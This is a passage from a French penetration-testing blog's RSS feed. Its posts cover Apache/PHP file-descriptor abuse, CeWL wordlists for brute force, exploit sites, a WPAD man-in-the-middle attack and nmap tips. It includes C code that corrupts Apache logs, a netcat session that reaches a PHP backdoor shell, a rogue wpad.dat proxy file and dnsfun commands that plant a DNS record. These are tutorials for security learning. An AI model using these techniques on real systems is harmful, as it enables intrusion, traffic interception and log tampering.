l-wx------ 1 root root 64 2009-12-07 12:34 8 -&gt; /var/log/apache2/all.log
l-wx------ 1 root root 64 2009-12-07 12:34 9 -&gt; /var/log/apache2/access.log
&nbsp;
root@linux:~# lsof | grep 10927 | grep -v mem
apache2   10927   www-data  cwd       DIR               8,21     4096          2 /
apache2   10927   www-data  rtd       DIR               8,21     4096          2 /
apache2   10927   www-data  txt       REG               8,21   435528    6963211 /usr/sbin/apache2
apache2   10927   www-data  DEL       REG                0,9                7360 /dev/zero
apache2   10927   www-data    0r      CHR                1,3                3248 /dev/null
apache2   10927   www-data    1w      CHR                1,3                3248 /dev/null
apache2   10927   www-data    2w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    3u     sock                0,4                7137 can't identify protocol
apache2   10927   www-data    4u     IPv6               7138                 TCP *:www (LISTEN)
apache2   10927   www-data    5r     FIFO                0,6                7187 pipe
apache2   10927   www-data    6w     FIFO                0,6                7187 pipe
apache2   10927   www-data    7w      REG               8,21      200    6553939 /var/log/apache2/error.log
apache2   10927   www-data    8w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    9w      REG               8,21    14338    6553937 /var/log/apache2/access.log
apache2   10927   www-data   10u     0000                0,7        0         32 anon_inode</pre></div></div>

<p>On peut voir que le processus en cours, qui n&#8217;est rien d&#8217;autre qu&#8217;un simple script php exécuté avec les droits d&#8217;Apache, possède des descripteurs de fichiers des logs Apache <strong>ouverts en écriture</strong>, un descripteur sur le <strong>socket en écoute sur le port 80</strong>&#8230; </p>
<p>Il est difficile de les manipuler directement via PHP, ce langage ne possède pas de fonctions assez bas niveau pour jouer avec des descripteurs de fichier. Cependant, PHP <strong>autorise par défaut</strong> des fonctions permettant d&#8217;exécuter un fichier binaire ( la fonction <strong>system()</strong> par exemple) <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Le code suivant permet d&#8217;écrire n&#8217;importe quoi dans tous les logs Apache :</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">int</span> fd<span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span> flag<span style="color: #339933;">,</span>accmode<span style="color: #339933;">,</span>val<span style="color: #339933;">;</span>
    <span style="color: #993333;">struct</span> stat fileinfo<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> buffer<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;AAAAA&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span> count<span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> fd<span style="color: #339933;">&lt;</span>getdtablesize<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> fd<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        memset<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>fileinfo<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>fileinfo<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>fstat<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>fileinfo<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> S_ISREG<span style="color: #009900;">&#40;</span>fileinfo.<span style="color: #202020;">st_mode</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>flag <span style="color: #339933;">=</span> fcntl<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> F_GETFL<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span>flag <span style="color: #339933;">&amp;</span> O_WRONLY<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>count <span style="color: #339933;">=</span> write<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> buffer<span style="color: #339933;">,</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;%s &quot;</span><span style="color: #339933;">,</span>strerror<span style="color: #009900;">&#40;</span>errno<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                    <span style="color: #b1b100;">else</span>
                        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot; %d &quot;</span><span style="color: #339933;">,</span>count<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #009900;">&#125;</span>                
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Déterminer clairement quel est le fichier de log ouvert à partir d&#8217;un descripteur de fichier reste difficile, on obtient facilement l&#8217;inoeud (man fstat ) mais il reste à trouver le ou les répertoires qui possédent cet inoeud, et avec les droits Apache, on aura pas forcément ceux nécessaires pour ouvrir lesdits répertoires.</p>
<p>J&#8217;étais parti pour faire un monstrueux log wiper, mais malheureusement le descripteur de fichier est ouvert en <em>Write Only</em> et il semble impossible de changer ce mode en <em>Lecture / Ecriture</em> sur un déscripteur de fichier ( man fcntl )&#8230; On pourra quand même bien corrompre les fichiers de logs ou exploser la partition /log (voire / si on a affaire à <strong>un admin level 70</strong> ).</p>
<p>Pas grave, on peut faire des trucs beaucoup plus intéressants grâce aux descripteurs de socket, on peut voir <a href="http://hackerdom.ru/~dimmo/phpexpl.c">ici</a> une preuve de concept monstrueuse que j&#8217;ai découverte sur <a href="http://bugs.php.net/bug.php?id=38915">un bug report de php.net</a>. Le script PHP hijack le socket en écoute sur le port 80, écoute à sa place et intercepte toutes les requêtes ! À la fin du bug report on peut lire que le bug est corrigé, pour ma part il est toujours actif sur une Ubuntu à jour.</p>
<p>La meilleure utilisation de cette vulnérabilité reste la backdoor PHP <a href="http://pentestmonkey.net/tools/php-findsock-shell/">find-sock-shell</a> de pentestmonkey. Un simple netcat sur le port 80 et on a bon petit shell bien user friendly, beaucoup plus pratique qu&#8217;une banale <a href="http://www.google.fr/search?source=ig&#038;hl=fr&#038;rlz=&#038;=&#038;q=r57shell+%22your+ip%22&#038;btnG=Recherche+Google&#038;meta=lr%3D&#038;aq=f&#038;oq=">r57shell</a> ou autre <a href="http://www.google.fr/search?source=ig&#038;hl=fr&#038;rlz=&#038;=&#038;q=intitle%3AC99Shell+v.+1.0+pre-release+%2Buname&#038;btnG=Recherche+Google&#038;meta=lr%3D&#038;aq=f&#038;oq=">c99</a>.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nc -v target 80
target [10.0.0.1] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0
&nbsp;
sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$
... you now have an interactive shell ...</pre></div></div>

<p>Longue vie à PHP.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/apache-php-file-descriptor/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Un dictionnaire ciblé pour les attaques bruteforce</title>
		<link>http://www.indahax.com/pentest/dictionnaire-social-engineering</link>
		<comments>http://www.indahax.com/pentest/dictionnaire-social-engineering#comments</comments>
		<pubDate>Tue, 01 Dec 2009 09:42:40 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[attaque par dictionnaire]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[bruteforce http]]></category>
		<category><![CDATA[dictionnaire]]></category>
		<category><![CDATA[hydra]]></category>
		<category><![CDATA[information gathering]]></category>
		<category><![CDATA[medusa]]></category>
		<category><![CDATA[recherche d'information]]></category>
		<category><![CDATA[social engineering]]></category>
		<category><![CDATA[worldlist]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=435</guid>
		<description><![CDATA[Aujourd&#8217;hui je vais vous présenter rapidement un petit tool sympa pour la recherche d&#8217;informations : Cewl. Il permet de générer un dictionnaire à partir d&#8217;un site. Si par exemple vous auditez un site spécialisé dans un certain domaine, vous vous retrouvez avec une wordlist comportant tout le jargon du domaine en question&#8230; Ça peut toujours [...]]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui je vais vous présenter rapidement un petit tool sympa pour la recherche d&#8217;informations : <a href="http://www.digininja.org/projects/cewl.php">Cewl</a>. Il permet de <strong>générer un dictionnaire</strong> à partir d&#8217;un site. Si par exemple vous auditez un site spécialisé dans un certain domaine, vous vous retrouvez avec une <strong>wordlist</strong> comportant tout le jargon du domaine en question&#8230; Ça peut toujours permettre de cracker quelques mots de passe supplémentaires <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <span id="more-435"></span></p>
<p>Dans le même genre je connaissais <a href="http://www.remote-exploit.org/codes_wyd.html">wyd.pl</a> mais en beaucoup moins pratique, car il fallait faire un script pour télécharger les sources HTML, alors qu&#8217;avec Cewl tout est fait en une seule ligne de commande (même s&#8217;il faudra faire un peu le ménage à coup de grep/diff/comm).</p>
<p>Le tool extrait également des adresses emails ainsi que les meta data des fichiers Doc et PDF (un peu comme <a href="http://www.edge-security.com/metagoofil.php">metagoofil</a> et <a href="http://www.edge-security.com/theHarvester.php">theharverster</a> qui utilise les moteurs de recherche).</p>
<p>Bon voici comment ça marche :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pierre@linux:/pentest/ig/cewl$ ./cewl.rb -w /tmp/wordlist.txt -d 1 -m 5 http://www.indahax.com
pierre@linux:/pentest/ig/cewl$ tail /tmp/wordlist.txt 
whereis
which
win32
windows
wordpress
write
wrote
yahoo
yopmail
zombie</pre></div></div>

<p>Facile non ? Bon j&#8217;ai rajouté une option max_word_length dans le script car je me retrouvais parfois avec des mots useless d&#8217;une longueur > 20.</p>
<p>Pour les feignants(noob?) comme moi qui ne jurent que par <em>apt-get</em>, les librairies nécessaires pour faire fonctionner le script ne sont pas dans les dépots. Il faut y aller à coup de <em>gem install lib_ruby</em>, elles sont installées dans <em>/var/lib/gems/1.8/gems/nom_de_la_lib/lib/</em> alors que le path des librairies ruby est <em>/usr/lib/ruby/1.8/nom_de_la_lib</em> sur Ubuntu.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/dictionnaire-social-engineering/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Milw0rm est mort, où trouver des exploits ?</title>
		<link>http://www.indahax.com/pentest/milw0rm-is-dead-exploit</link>
		<comments>http://www.indahax.com/pentest/milw0rm-is-dead-exploit#comments</comments>
		<pubDate>Wed, 18 Nov 2009 10:13:10 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploit database]]></category>
		<category><![CDATA[milw0rm]]></category>
		<category><![CDATA[search exploit]]></category>
		<category><![CDATA[site exploit]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=360</guid>
		<description><![CDATA[Milw0rm n&#8217;est plus mis à jour depuis fin septembre, d&#8217;ailleurs on ne sait pas trop ce que fait str0ke, le webmaster du site en question, qui ne s&#8217;est pas prononcé là-dessus. Milw0rm était la référence en matière d&#8217;exploit. Un exploit publié sur ce site était automatiquement diffusé vers de nombreux sites relatifs à la sécurité [...]]]></description>
			<content:encoded><![CDATA[<p><center><img alt="milw0rm" title="milw0rm" src="http://www.indahax.com/images/milw0rm.jpg" title="milw0rm" width="445" height="71" /></center><br />
Milw0rm n&#8217;est plus mis à jour depuis fin septembre, d&#8217;ailleurs on ne sait pas trop ce que fait <a href="http://twitter.com/str0ke">str0ke</a>, le webmaster du site en question, qui ne s&#8217;est pas prononcé là-dessus. <strong>Milw0rm était la référence en matière d&#8217;exploit</strong>.<br/><span id="more-360"></span><br />
Un exploit publié sur ce site était automatiquement diffusé vers de nombreux sites relatifs à la sécurité informatique. Hormis <a href="http://exploits.offensive-security.com/">Offensive Security</a>, peu de prétendants se sont présentés pour prendre la relève de milw0rm (Pourtant, il y avait gros à jouer en terme de référencement Web). <br/><br />
Heureusement, milw0rm n&#8217;est pas l&#8217;unique site recensant des exploits, voici une petite liste de sites et de frameworks toujours à jour, que j&#8217;ai pu glaner ici et là au fil du temps:<br/></p>
<ul>
<li><a href="http://exploits.offensive-security.com/">Offensive security</a> : Le tout nouveau clone de milw0rm, espérons que ses créateurs puissent tenir la cadence.</li>
<li><a href="http://www.metasploit.com/framework/">Metasploit</a> : On ne le présente plus, principalement orienté système et réseaux, il contient peu d&#8217;exploits web. svn update régulier indispensable pour le tenir à jour.</li>
<li><a href="http://www.securityfocus.com/vulnerabilities">Security Focus</a> : Il s&#8217;agit plus d&#8217;une base de vulnérabilités que d&#8217;une liste d&#8217;exploits, cependant les exploits y restent nombreux.</li>
<li><a href="http://www.packetstormsecurity.org/exploits20.html">Packet Storm Security</a> : Packetstorm est principalement connu pour ses petits scripts/tools de hacking mais le site tient également une base d&#8217;exploit et un fil RSS dédié à celle-ci.</li>
<li><a href="http://sebug.net/">sebug</a> : J&#8217;ai découvert ce site hier, pas mal d&#8217;exploits dessus, mais aussi beaucoup de vulns.</li>
<li><a href="http://securityreason.com/exploit_alert/">Security Reason</a> : Un site avec plusieurs flux RSS, dont un dédié aux derniers exploits. Ils ont d&#8217;ailleurs publié récemment un exploit <a href="http://securityreason.com/achievement_securityalert/61">bypass openbase_dir php</a> drôlement sympathique <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</li>
<li><a href="http://www.securityfocus.com/archive/1">Bugtraq</a> : Une mailing list, elle est intégrée au fil RSS de securityfocus on y retrouve principalement des annonces de correctifs de la part des éditeurs, mais il y a parfois des exploits.</li>
<li><a href="http://seclists.org/fulldisclosure/">Full Disclosure</a> : Encore une mailing list, cette fois-ci avec beaucoup de trolls et quelques exploits 0day de temps en temps. Il y a parfois tellement de trolls que l&#8217;on peut passer à coté de ces petites perles <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</li>
</ul>
<p>On peut ajouter à cette liste l&#8217;<a href="http://osvdb.org/">Open Source Vulnerability Database</a>, le <a href="http://cve.mitre.org/">Common Vulnerabilities Exposures</a> et la <a href="http://nvd.nist.gov/">National Vulnerability Database</a> qui recensent toutes les vulnérabilités existantes des logiciels et parfois des liens vers des exploits.</p>
<p>Bien entendu cette liste n&#8217;est pas exhaustive, si vous connaissez d&#8217;autres sites <strong>qui valent le coup</strong> n&#8217;hésitez pas à les signaler en commentaire.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/milw0rm-is-dead-exploit/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WPAD MITM Attack</title>
		<link>http://www.indahax.com/pentest/wpad-mitm-attack</link>
		<comments>http://www.indahax.com/pentest/wpad-mitm-attack#comments</comments>
		<pubDate>Wed, 25 Mar 2009 00:27:40 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[attaque wpad]]></category>
		<category><![CDATA[mitm]]></category>
		<category><![CDATA[ms09-008]]></category>
		<category><![CDATA[msie wpad]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[wpad]]></category>
		<category><![CDATA[wpad man in the middle]]></category>
		<category><![CDATA[wpad.dat]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=303</guid>
		<description><![CDATA[Il y a peu de temps, Microsoft a publié le correctif ms09-008 qui corrige/désactive la faille/fonctionnalité WPAD. Je vais vous expliquer comment il est possible de réaliser une attaque de type Man In The Middle sur les navigateurs Internet Explorer d&#8217;un domaine via l&#8217;utilisation de la fonctionnalité WPAD. WPAD et DNS Dans une configuration par [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="" src="http://www.indahax.com/images/wpad.png" class="alignleft" width="330" height="229" />Il y a peu de temps, Microsoft a publié le correctif ms09-008 qui <em>corrige/désactive</em> la <em>faille/fonctionnalité</em> WPAD. Je vais vous expliquer comment il est possible de réaliser une attaque de type Man In The Middle sur les navigateurs Internet Explorer d&#8217;un domaine via l&#8217;utilisation de la fonctionnalité WPAD.</p>
<p><span id="more-303"></span><br />
<br/></p>
<ul>
<li>
<h3><u>WPAD et DNS</u></h3>
</li>
</ul>
<p>Dans une configuration par défaut, le serveur DNS d&#8217;un domaine fait assez confiance aux machines et aux utilisateurs de la forêt pour les autoriser à ajouter un enregistrement au sein de la zone du domaine. Cela signifie qu&#8217;un utilisateur ou une machine du domaine peut associer un nom (<strong>inclus dans la hiérarchie domaine</strong>) à n&#8217;importe quelle ip.</p>
<p>Si le domaine est mondomaine.local, une machine ne peut ajouter l&#8217;enregistrement banque.com, par contre elle peut ajouter pc1.mondomaine.local .</p>
<p>Il est également <strong>impossible d&#8217;écraser un enregistrement qui ne vous appartient pas</strong>. Les enregistrements sont des objets, ils sont détenus par des utilisateurs et possèdent des droits d&#8217;accès.</p>
<p>Les noms de machine <strong>WPAD</strong> et <strong>ISATAP</strong> sont particulièrement intéressants. Il est possible de les utiliser afin de <strong>mener des attaques de type Man In The Middle</strong>. ISATAP sert de tunnel ipv6 over ipv4.  WPAD est la machine qui détient le fichier de configuration automatique du proxy pour les navigateurs MSIE, nous allons nous concentrer sur cette dernière.</p>
<p>Lorsque les navigateurs Internet Explorer du domaine sont configurés de manière à détecter automatiquement les paramètres de connexions, ils vont chercher un serveur nommé WPAD pour y récupérer un <strong>fichier de configuration qui va déterminer quel proxy utiliser</strong>. S&#8217;ils ne trouvent pas ce serveur, ils se connecteront directement à Internet.</p>
<p>Si un attaquant réussit à usurper le nom de ce serveur,  il pourra proposer son fichier de configuration et <strong>forcer les utilisateurs à utiliser le proxy de son choix</strong>.</p>
<p><i>Note : Il existe un autre moyen pour configurer automatiquement le proxy d&#8217;un navigateur via le protocole DHCP. Il s&#8217;agit d&#8217;une autre fonctionnalité, ici nous nous concentrerons sur l&#8217;attaque via l&#8217;utilisation d&#8217;un enregistrement DNS.</i></p>
<ul>
<li>
<h3><u>Mise en place de l&#8217;attaque</u></h3>
</li>
</ul>
<p>Pour réaliser cette attaque, le nom WPAD ne doit pas déjà être enregistré sur le serveur DNS (nous ne disposons pas des droits nécessaires pour l&#8217;écraser).</p>
<p><u>Mettre en place le fichier de configuration automatique du proxy</u><br />
Le fichier de configuration doit être en place sur le serveur HTTP de la machine WPAD. Il doit être mis à la racine sous le nom de <code>wpad.dat</code> et doit contenir l&#8217;adresse ip du proxy de l&#8217;attaquant. Voici sa structure :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">function FindProxyForUrl(url, host){
&nbsp;
	return &quot;PROXY 192.168.10.14:8080&quot;;
&nbsp;
}</pre></div></div>

<p><u>Créer l&#8217;enregistrement WPAD</u><br />
Si l&#8217;on possède un compte administrateur local sur une machine du domaine, il faut renommer cette dernière en WPAD. L&#8217;association du nom WPAD <=> ip de la machine devrait s&#8217;enregistrer automatiquement dans le serveur DNS (<a href="http://support.microsoft.com/kb/816592#3">via le protocole DHCP</a>). Si ce n&#8217;est pas le cas, il faut utiliser la commande : <code>ipconfig /registerdns</code>.</p>
<p>Si l&#8217;on possède un compte utilisateur sur le domaine, on peut ajouter l&#8217;enregistrement WPAD à partir de n&#8217;importe quelle machine du domaine. L&#8217;avantage de procéder avec cette méthode est que l&#8217;enregistrement pourra pointer vers n&#8217;importe quelle ip. Pour cela on utilise <a href="http://www.tarasco.org/security/dnsfun/">dnsfun</a>.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">C:Documents and Settingsdev1Bureaudnsfun&gt;dnsfun.exe -q wpad
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Query Information for host wpad...
[-] Record not found
&nbsp;
C:Documents and Settingsdev1Bureaudnsfun&gt;dnsfun.exe -c wpad.tp3.local  -u 19
2.168.10.14
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Creating DNS A Record for wpad.tp3.local (192.168.10.14)
[+] Host Created. Rechecking Record...
[+] Host wpad.tp3.local resolved as 192.168.10.14
&nbsp;
C:Documents and Settingsdev1Bureaudnsfun&gt;dnsfun.exe -q wpad
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Query Information for host wpad...
[+] Host wpad.tp3.local resolved as 192.168.10.14</pre></div></div>

<p>Le propriétaire de l&#8217;enregistrement DNS sera différent en fonction de la méthode utilisée : avec la première méthode, le compte machine WPAD$ sera le propriétaire, avec la deuxième, c&#8217;est l&#8217;utilisateur qui sera le propriétaire de l&#8217;enregistrement.</p>
<ul>
<li>
<h3><u>Le patch ms09-008</u></h3>
</li>
</ul>
<p>La publication du patch ms09-008 a fait couler beaucoup d&#8217;encre, <a href="http://blog.ncircle.com/blogs/vert/archives/2009/03/functionality_versus_security.html">selon certaines personnes</a>, le patch en question ne corrigerait pas totalement la vulnérabilité. Microsoft <a href="http://blogs.technet.com/srd/archive/2009/03/13/ms09-008-dns-and-wins-server-security-update-in-more-detail.aspx">dément</a> et considère l&#8217;enregistrement automatique du nom WPAD comme une fonctionnalité, non comme une vulnérabilité.</p>
<p><strong>Le patch a pour effet de désactiver la fonctionnalité WPAD si elle n&#8217;est pas utilisée.</strong></p>
<p>Lors de l&#8217;application du patch, ce dernier va détecter si un enregistrement WPAD (ou ISATAP) est déjà présent dans le serveur DNS. Si aucun enregistrement n&#8217;est présent, le patch va créer une clef de registre qui va avoir pour effet d&#8217;empêcher la résolution du nom WPAD.</p>
<p>Cela signifie que, si un administrateur (ou un pirate) ajoute un enregistrement WPAD après l&#8217;application du patch, il devra également supprimer la clef de registre bloquant la résolution WPAD. Sinon le nom ne sera pas résolu.</p>
<p>Si le nom WPAD est déjà présent dans le serveur DNS lors de l&#8217;application du correctif, le patch ne bloque pas la résolution du nom. Cela est dû au fait que le correctif ne peut pas déterminer de lui-même si l&#8217;enregistrement en question est légitime ou non.</p>
<p>Il est vrai qu&#8217;une fonctionnalité permettant à un utilisateur lambda d&#8217;associer le nom WPAD à n&#8217;importe quelle adresse ip laisse à désirer, on aurait préféré un patch interdisant l&#8217;enregistrement automatique du nom WPAD ou ISATAP.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/wpad-mitm-attack/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Nmap haxor</title>
		<link>http://www.indahax.com/pentest/nmap-haxor</link>
		<comments>http://www.indahax.com/pentest/nmap-haxor#comments</comments>
		<pubDate>Sun, 15 Mar 2009 17:31:03 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[nmap haxor]]></category>
		<category><![CDATA[optimisation]]></category>
		<category><![CDATA[options avancées]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[timeout]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=208</guid>
		<description><![CDATA[Nmap propose beaucoup d&#8217;options, parmi ces dernières, de nombreuses sont inutiles lors d&#8217;un test d&#8217;intrusion ( fragmentation, manipulation barbare des flags TCP, attaque zombie, FTP Bounces&#8230; ). Cet article traitera les options avancées réellement utiles et les pièges a éviter lorsque l&#8217;on utilise nmap. Exécuter nmap en root A la base, on pourrait croire que [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" title="NMAP_HAXOR" src="http://www.indahax.com/images/nmap_haxor.png" alt="" width="200" height="155" />Nmap propose beaucoup d&#8217;options, parmi ces dernières, de nombreuses sont inutiles lors d&#8217;un test d&#8217;intrusion ( fragmentation, manipulation barbare des flags TCP, attaque zombie, FTP Bounces&#8230; ). Cet article traitera les options avancées réellement utiles et les pièges a éviter lorsque l&#8217;on utilise nmap.</p>
<p><span id="more-208"></span><br />
<br/></p>
<ul>
<li>
<h3><span style="text-decoration: underline;"><strong>Exécuter nmap en root</strong></span><strong></strong></h3>
</li>
</ul>
<p>A la base, on pourrait croire que la seule raison valable pour exécuter nmap en root est pour profiter du scan SYN -sS plus rapide et plus discret que le scan connect -sC.  En réalité, il existe une autre option que l’on utilise très souvent avec nmap et qui nécessite des <strong>droits privilégiés</strong> pour fonctionner efficacement: <strong>le ping -sP</strong> .</p>
<p>Lorsque l’on effectue un ping -sP en root, nmap va envoyer un paquet TCP SYN sur le port 80, puis un paquet ICMP “echo request”.  Si la cible répond à un des deux paquets, elle sera considérée online.</p>
<p>Cependant, si utilisateur classique effectue un -sP, seul un paquet TCP SYN sera envoyé, pas de ping ICMP. Pour peu que le firewall drop les paquets vers le port 80, et on ne détectera pas l’hôte !</p>
<p>Il y a encore un autre cas où le ping ICMP n&#8217;est pas effectué lors d&#8217;un scan, si l&#8217;on spécifie l&#8217;option -PU ou -PS (options indiquant les ports UDP/TCP à utiliser pour le ping) alors il faut explicitement spécifier l&#8217;option -PE pour envoyer un ping ICMP.</p>
<ul>
<li>
<h3><span style="text-decoration: underline;"><strong>Gagner du temps lors des scans</strong></span><strong></strong></h3>
</li>
</ul>
<p><span style="text-decoration: underline;">Utiliser les options -PU/-PS/-PE plutôt qu&#8217;un scan -PN/-P0</span></p>
<p>L&#8217;option -PN effectue un scan de port en considérant que la cible est online, même si elle n&#8217;a pas répondu au ping. Le simple fait de scanner un réseau /24 sur 1000 ports en -PN est déjà très long.</p>
<p>Une alternative pourrait être de pinger la cible sur une dizaine, voire une vingtaine de ports très courants, puis déclencher un scan sur les 1000 ports seulement si au moins un des ports a répondu au ping. Par exemple :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@hacktop:~# nmap -PS21-23,25,80,135-139,443 -PU53,68,161 -sU -sS --top-ports 1000 10.0.0.0/24 --reason
&nbsp;
Interesting ports on 10.0.0.13:
Not shown: 1991 closed ports
Reason: 996 resets and 995 port-unreaches
PORT     STATE         SERVICE      REASON
135/tcp  open          msrpc        syn-ack
139/tcp  open          netbios-ssn  syn-ack
445/tcp  open          microsoft-ds syn-ack
912/tcp  open          unknown      syn-ack
123/udp  open|filtered ntp          no-response
137/udp  open|filtered netbios-ns   no-response
138/udp  open|filtered netbios-dgm  no-response
445/udp  open|filtered microsoft-ds no-response
1900/udp open|filtered upnp         no-response
MAC Address: 11:22:33:44:55:66 (Fake Computer)</pre></div></div>

<p>Cette commande regarde si au moins un des ports TCP 21-23,25,80,135-139,443 (<em>-PS</em>) ou un des ports UDP 53,68,161 (<em>-PU</em>) est ouvert. Si c&#8217;est le cas, alors on scan les 1000 ports TCP (<em>-sS</em>) et les 1000 ports UDP (<em>-sU</em>) les plus fréquents (<em>&#8211;top-ports</em>).</p>
<p><span style="text-decoration: underline;">Attention à l&#8217;option -F : </span></p>
<p>Dans la version stable actuelle de nmap (4.76), <strong>l&#8217;option Fast -F n&#8217;optimise pas vraiment la vitesse du scan de ports</strong>, cette option est uniquement relative au nombre de ports scannés. Par défaut nmap scan 1650 ports, avec l&#8217;option -F  vous scannerez les ports contenus dans nmap-services,soit plus de 1200 ports, ce qui ne fait pas une grosse différence.</p>
<p>Utilisez plutôt la commande <strong>&#8211;top-ports 100</strong> qui scannera les 100 ports les plus courants. (A noter que dans la version beta actuelle 4.85, l&#8217;option -F est égale à un &#8211;top-ports 100 ).</p>
<p>Pour avoir une idée des ports les plus fréquents selon nmap :</p>

